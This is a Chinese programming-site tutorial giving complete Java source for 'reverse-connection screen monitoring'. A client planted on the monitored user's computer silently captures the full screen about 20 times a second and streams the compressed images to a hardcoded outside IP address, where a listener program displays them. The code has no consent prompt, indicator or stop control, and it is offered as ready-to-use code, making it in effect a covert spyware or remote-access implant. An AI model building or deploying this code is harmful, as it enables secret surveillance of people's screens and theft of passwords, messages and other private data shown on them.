程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> JAVA編程 >> 關於JAVA >> JAVA用TCP實現反向連接屏幕監視

JAVA用TCP實現反向連接屏幕監視

編輯:關於JAVA

以下這個為服務器類 被監視的用戶

import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread{
private Dimension screenSize;
private Rectangle rectangle;
private Robot robot;
private JPEGImageEncoder encoder;
public ShellServer() {
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
rectangle = new Rectangle(screenSize);//可以指定捕獲屏幕區域
try{
robot = new Robot();
}catch(Exception e){
e.printStackTrace();
System.out.println(e);
}
}
public void run(){
ZipOutputStream os = null;
Socket socket=null;
while (true){
try{
socket = new Socket("220.173.44.158",5000);//連接遠程IP
BufferedImage image = robot.createScreenCapture(rectangle);//捕獲制定屏幕矩形區域
os = new ZipOutputStream(socket.getOutputStream());//加入壓縮流
//os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));
os.setLevel(9);
os.putNextEntry(new ZipEntry("1.jpg"));
JPEGCodec.createJPEGEncoder(os).encode(image);//圖像編碼成JPEG
os.close();
Thread.sleep(50);//每秒20幀
}catch(Exception e){
e.printStackTrace();
}finally{
if(os!=null){
try{
os.close();
}catch(Exception ioe){}
}
if(socket!=null){
try {
socket.close();
} catch (IOException e) {
}
}
}
}
}
public static void main(String[] args) {
new ShellServer().start();
}
}

以下這個為客戶端類 監視者

import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;
public class ShellClient extends JFrame{
Dimension screenSize;
public ShellClient() {
super();
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
this.setSize(800, 640);//設置Frame初始
Screen p = new Screen();//屏幕類
Container c = this.getContentPane();
c.setLayout(new BorderLayout());//布局
c.add(p,"Center");//添加一個Panel
new Thread(p).start();//開啟線程
this.show();//顯示本Frame
}
public static void main(String[] args){
new ShellClient();
}
class Screen extends JPanel implements Runnable{
private Image cimage;
public void run(){
ServerSocket ss=null;
try{
ss=new ServerSocket(5000);//探聽5000端口的連接
while(true){
Socket s=null;
try{
s=ss.accept();//獲取一個SOCKET
ZipInputStream zis=new ZipInputStream(s.getInputStream());
zis.getNextEntry();//獲得ZIP流的ENTRY
cimage = ImageIO.read(zis);//把ZIP流轉換為圖片
//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
repaint();//重畫
}catch(Exception e){
e.printStackTrace();
}finally{
if(s!=null){
try {s.close();} catch (IOException e) {}
}
}
}
}catch(Exception e){}
finally{
if(ss!=null){
try {ss.close();} catch (IOException e) {}
}
}
}
public Screen() {
super();
this.setLayout(null);
}
public void paint(Graphics g){
super.paint(g);
Graphics2D g2 = (Graphics2D) g;
g2.drawImage(cimage, 0, 0, null);
}
}
}

主要采用了TCP協議+壓縮流~ 速度還可以!不過覺得還可以優化,用UDP+動態的矩陣遲點再改進吧!

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved